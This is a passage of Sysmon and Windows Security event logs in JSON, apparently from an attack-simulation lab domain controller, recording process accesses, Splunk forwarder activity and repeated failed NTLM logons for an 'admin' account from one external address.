11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2186,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010ED6D0300}\r\nTargetProcessId: 3580\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010ED6D0300}","TargetProcessId":"3580","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-perfmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2187,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2188,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221504,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61398\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61398","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2189,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221505,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61492\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61492","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221506,"ProcessID":860,"ThreadID":908,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t61639\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"61639","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2190,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.958\r\nProcessGuid: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nProcessId: 3644\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.958","ProcessGuid":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2191,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:07.125\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FEE-5F2D-0000-0010DC6F0300}\r\nTargetProcessId: 3644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:07.125","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FEE-5F2D-0000-0010DC6F0300}","TargetProcessId":"3644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program 